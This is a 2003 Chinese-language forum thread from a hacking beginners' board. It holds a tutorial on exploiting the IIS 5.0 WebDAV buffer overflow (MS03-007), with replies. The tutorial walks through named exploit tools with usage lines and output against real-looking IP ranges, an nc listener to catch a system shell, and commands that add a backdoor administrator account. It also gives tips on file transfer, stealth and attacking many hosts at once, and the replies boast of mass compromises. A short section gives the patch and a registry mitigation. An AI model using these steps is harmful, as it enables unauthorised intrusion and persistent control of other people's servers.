论坛: 菜鸟乐园 标题: WebDAV远程缓冲区溢出漏洞--[iqst的黑客入门系列教程] 复制本贴地址    
作者: iqst [iqst]    论坛用户   登录
author: iqst 
from: http://ccbirds.yeah.net 
retain above info to transport


目录


一 摘要
二 漏洞描述及受影响系统
三 涉及工具及使用方法
四 手工检验此漏洞的方法
五 解决方法
六 常见问题解答
七 结束语

结束语


一 摘要


Microsoft Windows 2000 WebDAV远程缓冲区溢出漏洞同样是微软的又一重大漏洞,据说前些年就有牛人发现了这个漏洞,只是最近才公布出来罢了。虽然WebDav是通过IIS才产生这个漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的,也就是说很多调用这个API的应用程序都存在这个漏洞。好了,不多说了,往下看吧。


二 漏洞描述及受影响系统


Microsoft IIS 5.0(Internet Infomation Server 5)是Microsoft Windows 2000自带的一个网络信息服务器,其中包含HTTP服务功能。IIS5 默认提供了对WebDAV的支持,WebDAV可以通过HTTP向用户提供远程文件存储的服务。但是作为普通的HTTP服务器,这个功能不是必需的。

IIS 5.0包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。

IIS 5.0的WebDAV使用了ntdll.dll中的一些函数,而这些函数存在一个缓冲区溢出漏洞。通过对WebDAV的畸形请求可以触发这个溢出。成功利用这个漏洞可以获得LocalSystem权限。这意味着,入侵者可以获得主机的完全控制能力。


受影响系统: 
Microsoft IIS 5.0
    - Microsoft Windows 2000 Server SP3 
    - Microsoft Windows 2000 Server SP2 
    - Microsoft Windows 2000 Server SP1 
    - Microsoft Windows 2000 Server 
    - Microsoft Windows 2000 Professional SP3 
    - Microsoft Windows 2000 Professional SP2 
    - Microsoft Windows 2000 Professional SP1 
    - Microsoft Windows 2000 Professional 
    - Microsoft Windows 2000 Datacenter Server SP3 
    - Microsoft Windows 2000 Datacenter Server SP2 
    - Microsoft Windows 2000 Datacenter Server SP1 
    - Microsoft Windows 2000 Datacenter Server 
    - Microsoft Windows 2000 Advanced Server SP3 
    - Microsoft Windows 2000 Advanced Server SP2 
    - Microsoft Windows 2000 Advanced Server SP1 
    - Microsoft Windows 2000 Advanced Server



三 涉及工具及其使用方法


1 Webdavscan.exe(webdav扫描器)
2 Ptwebdav.exe(漏洞检测工具)
3 wd0.3-e.exe
4 webdavx3.exe
5 webdav.exe
6 big5.exe


1 Webdavscan.exe:
webdav漏洞专用扫描器,红客联盟出品。它可以对不同ip段进行扫描,来检测网段的Microsoft IIS 5.0服务器是否提供了对WebDAV的支持,如果结果显示enable,则说明此服务器支持webdav并可能存在漏洞。


2 Ptwebdav.exe:
用来检测远程Windows 2000 IIS5.0 服务器是否存在WebDAV远程缓冲区溢出漏洞
如果显示以下检测结果,表明可能存在漏洞:

Checking 61.149.100.*:80 ...
The remote server is VULNERABLE
See: http://www.microsoft.com/technet/security/bulletin/ms03-007.asp

如果显示以下检测结果,表明可能不存在此漏洞:
Checking 61.149.100.*:80 ...
The remote server is not vulnerable


3 wd0.3-e.exe:
针对英文版的溢出工具,并且是已汉化的图形界面,据说是所有版本中溢出英文版的IIS成功率最好的一个版本。各窗口应填内容如下:
目标:希望溢出的ip地址
端口:80
连接:偏移量,默认即可0-255
你的ip:你的ip
你的端口:即nc监听的端口,默认666
自定义:默认

在开始溢出之前,你需要用nc在本地监听666端口(或者其他端口),命令如下:
nc -L -vv -p 666
这样,一旦溢出成功,你将得到对方的一个有系统权限的shell


4 webdavx3.exe
isno的针对win2000中文版的溢出工具,不用NC监听端口,溢出成功后直接 telnet ip 7788即可
使用方法:
c:\>webdavx3.exe ip

显示运行结果如下:
IIS WebDAV overflow remote exploit by isno@xfocus.org
start to try offset,
if STOP a long time, you can press ^C and telnet 192.168.0.1 7788
try offset: 0
try offset: 1
try offset: 2
try offset: 3
waiting for iis restart....................... 
try offset: 4
waiting for iis restart....................... 
try offset: 5
waiting for iis restart....................... 
try offset: 6

如果出现上面的结果很可能溢出成功,稍等2,3分钟后,按Ctrl+C结束溢出,输入如下命令:
telnet ip 7788

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
成功了,我们来加个用户
c:\net user iqst password /add
c:\net localgroup administrators iqst /add 
好了,现在iqst这个帐户已经是管理员了,后面你要做的就不在这片文章的讨论范围之内了,由于溢出的shell都不是很稳定,所以建议你尽快建立帐户。



当然,你telnet时也有可能出现下面的内容:

F:\>telnet 61.149.12.* 7788
正在连接到61.149.12.*...无法打开到主机的连接 在端口 7788 : 连接失败

这说明你无法连接到对方7788端口,有可能是溢出失败,也有可能是溢出虽然成功,但7788端口被防火墙屏蔽,给你的建议是不要钻牛角尖,换一台再试。

如果webdavx3.exe像下面一直在试偏移量却没有成功的迹象,而且时间很长了,建议你放弃,也许对方没有漏洞或打了补丁:
C:\>webdavx3 192.168.0.1
IIS WebDAV overflow remote exploit by isno@xfocus.org
start to try offset,
if STOP a long time, you can press ^C and telnet 192.168.0.1 7788
try offset: 0
try offset: 1
try offset: 2
try offset: 3
try offset: 4
try offset: 5
try offset: 6
try offset: 7
try offset: 8
try offset: 9
try offset: 10
try offset: 11
try offset: 12
try offset: 13
try offset: 14
try offset: 15
try offset: 16
try offset: 17
try offset: 18
try offset: 19
try offset: -1
try offset: -2
try offset: -3
try offset: -4
try offset: -5
try offset: -6
try offset: -7
try offset: -8
try offset: -9
try offset: -10
try offset: -11
try offset: -12
try offset: -13
try offset: -14
try offset: -15
try offset: -16
…………………
总之,iis重起是溢出可能成功的标志


(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net)


5 webdav.exe
针对win2000中文版的溢出工具,溢出成功后可直接穿透防火墙获得shell,而不用担心端口被防火墙屏蔽。
它与webdavx3.exe的区别是:
1 溢出成功后不用你telnet到7788而是按回车后直接获得shell
2 偏移量不会自动增加,需要你自己一个一个的试
3 获得的shell不稳定,webdavx3.exe获得的shell比较稳定,用tftp传文件完全没有问题

usage: webdav.exe <server ip> [webport] [offset]
如:webdav.exe 61.149.100.* 80 0
如果offset为0不成功,可以再试1,2,3等,但一般试到5还没成功的话,可以放弃了,我的经验是大多成功都在0,1,2这里,如果出现下面类似的html信息,说明溢出失败,换个offset试试

F:\>webdav 61.55.53.6 80 0

 IIS5.0 HTTPEXT.DLL OVERFLOW xxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 usage: webdav <server> [webport] [offset]

 nuke ip: 61.55.53.6 port 80
 offset:0

 shellcode long 0xfb

 packetlong:0x10046

 send  packet 65731 bytes.
  recv:
 HTTP/1.1 404 Resource Not Found
Server: Microsoft-IIS/5.0
Date: Sun, 03 Aug 2003 09:46:03 GMT
Connection: close
Content-Type: text/html
Content-Length: 3733

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>

<head>
<style> a:link                  {font:9pt/11pt 宋体; color:FF0000} a:visited
        {font:9pt/11pt 宋体; color:#4e4e4e}
</style>

<META NAME="ROBOTS" CONTENT="NOINDEX">

<title>无法找到网页</title>

<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
<META NAME="MS.LOCALE" CONTENT="ZH-CN">
</head>

………………………………………………………………………………………………………………



<li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
    </ul>

<h2 style="font:9pt/11pt 宋体; color:000000">HTTP 404 - 无法找到文件<br> Interne
t 信息服务<BR></h2>

        <hr color="#C0C0C0" noshade>

        <p>技术信息(支持个人)</p>

<ul>
<li>详细信息:<br><a href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&
sbp=&pver=5.0&pid=&ID=404&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_bla
nk">Microsoft 支持</a>
</li>
</ul>

    </font></td>
  </tr>

</table>
</body>
</html>

如果出现
C:\INETPUB\WWWROOT\NNNNN 
   OK! 
这样类似的话,回车,就会自动进入shell
C:\WINNT\SYSTEM32> 


我个人认为这个程序的成功率不如webdavx3.exe,而且一个一个的试offset很麻烦,获得的shell不稳定,所以我并不经常用这个程序


6 big5.exe
针对繁体版sp3的溢出工具,用法与webdavx3.exe相仿,我不多说了。


四 手工检验此漏洞的方法


telnet x.x.x.x 80 回车
然后输入 OPTIONS * HTTP/1.0 回车
如果返回信息如下:
HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/5.0
Date: Thu, 08 May 2003 09:53:18 GMT
Content-Type: text/html
Content-Length: 111

<html><head><title>Site Not Found</title></head>
                                                <body>No web site is configured
at this address.</body></html>

遗失对主机的连接。

说明这个主机没有这个漏洞!
但如果返回下面的结果那么这个机器就有可能有这个漏洞了!
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 08 May 2003 09:58:38 GMT
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND
, PROPPATCH, LOCK, UNLOCK, SEARCH
Cache-Control: private


遗失对主机的连接
 
介绍这个方法只是觉得好玩,相信谁也不会一台一台的手动检验的,


五 解决方法


临时解决方法: 


如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁: 


* 使用微软提供的IIS Lockdown工具可能可以防止该漏洞被利用。 


* WebDAV在IIS 5.0 WEB服务器上的实现Httpext.dll完成默认安装,但是简单更改Httpext.dll不能修正此漏洞,因为WINDOWS 2000的WFP功能会防止系统重要文件破坏或删除。要完全关闭WebDAV包括的PUT和DELETE请求,可对注册表进行如下更改: 

1、启动注册表编辑器(Regedt32.exe)。 

2、搜索注册表中的如下键: 

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters 
  
3、点击'编辑'菜单,点增加值,然后增加如下注册表键值: 

Value name: DisableWebDAV 
Data type: DWORD 
Value data: 1 


厂商补丁: 

Microsoft 
--------- 
Microsoft已经为此发布了一个安全公告(MS03-007)以及相应补丁: 

MS03-007:Unchecked Buffer In Windows Component Could Cause Web Server Compromise(815021) 
链接:http://www.microsoft.com/technet/security/bulletin/MS03-007.asp 


补丁下载: 

Microsoft Windows 2000: 
http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en 

解决方案
========
1、安装安全补丁:
   Solution\Q815021_W2K_sp4_x86_CN.EXE -> 适用于中文Windows 2000
   Solution\Q815021_W2K_sp4_x86_EN.EXE -> 适用于英文Windows 2000
2、设置注册表:Solution\webdav.reg ->双击导入即可


六 常见问题解答


1)我在用webdavx3 ip 的时候,try offset 怎么一直进行下去,什么时候才会停啊??什么时候才重起啊?不会要让我自己把它停了吧!
答:如果offset的值累加到很大但却迟迟未出现waiting for iis restart,说明溢出很可能将失败,建议放弃,换另一个目标。建议你多开几个cmd,同时溢出不同的目标,这样效率会提高很多。

2)WebDav漏洞,入侵成功,怎样拷贝本地文件到肉鸡?
答:我一般都用tftp,因为webdavx3.exe获得的shell比较稳定,当然你也可以先开他的共享,建立用户,然后再用ipc管道传文件,不过这样显然麻烦了很多且降低了隐蔽性。

3)我在使用webdavx3.exe的时候出现如下信息,怎么回事?
This application has been generated with an evaluation license of the
PerlApp utility.  The evaluation license has expired now.  Please
contact the author of this application for a non-expiring version of
the program: yan xue <isno@hacker.com.cn>.
答:软件过期了,请把系统日期调前。


七 结束语
教程中提到的所有工具在我主页(http://onroadon.yeah.net)都有下载,也没什么好说的了,如果你还有什么疑问,欢迎到我的论坛交流http://ccbirds.yeah.net



完成时间:iqst-2003/8/3 18:06 http://ccbirds.yeah.net
更新时间:    2003/8/3 22:10
[iqst的黑客入门系列教程]--漏洞利用2--WebDAV远程缓冲区溢出漏洞




地主 发表时间: 08/03 22:11

回复: iqst [iqst]   论坛用户   登录
也许wevdav已经过时了,写rpc才对:)

B1层 发表时间: 08/04 01:04

回复: all528 [all528]   论坛用户   登录
没有过时 对于漏洞只知道使用是没用的 最重要的是对他的认识 呵呵 谢谢你发表出来

B2层 发表时间: 08/04 07:24

回复: hacker521 [hacker521]   论坛用户   登录
现在没那么容易找到有这种漏洞的机子了,还是要看些最近公布的漏洞和入侵方法

B3层 发表时间: 08/04 08:36

回复: iqst [iqst]   论坛用户   登录
不是找不到,是你没有找,呵呵,

B4层 发表时间: 08/04 12:39

回复: hero [rtx]   论坛用户   登录
现在有RPC漏洞的机子可难找啊!我找了一个下午也没找到,用WEBDAV却溢出了一大堆。

B5层 发表时间: 08/04 13:53

回复: iqst [iqst]   论坛用户   登录
也许你的网段没有找对

B6层 发表时间: 08/04 21:57

回复: iqst [iqst]   论坛用户   登录
顶一下

B7层 发表时间: 08/05 12:33

回复: tianyecool [tianyecool]   论坛用户   登录
支持,不过建议使用瑞士军刀netcat

B8层 发表时间: 08/06 01:32

回复: all528 [all528]   论坛用户   登录
我比较幸运 只要一扫 哇一网段的机器什么都有 “!什么,~是蜜罐”晕哦

B9层 发表时间: 08/06 07:48

回复: yimarong [yimarong]   版主   登录
瑞士军刀netcat ?

没有接触,你可以说一下啊!



小明:(呵呵~这样叫感觉不错哦~)
什么蜜罐啊,着也被你看出来了,哎~那东西还真失败呀啊~

哈哈~~



B10层 发表时间: 08/06 10:16

回复: tianyecool [tianyecool]   论坛用户   登录
netcat 就是nc工具

B11层 发表时间: 08/06 13:34

回复: iqst [iqst]   论坛用户   登录
nc 
prowerful

B12层 发表时间: 08/06 21:59

回复: vishx [vishx]   论坛用户   登录
楼主,你不要把这些网上多得很的文章去抄一份在加几句自几的话就说是你的原创教程

B13层 发表时间: 08/07 08:54

回复: iqst [iqst]   论坛用户   登录
呵呵,来这里,这里都是我'抄'的 http://ccbirds.yeah.net

B14层 发表时间: 08/07 16:12

回复: all528 [all528]   论坛用户   登录
最好把几个版本的软件的下载地点和大家说一下 

B15层 发表时间: 08/07 19:53

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号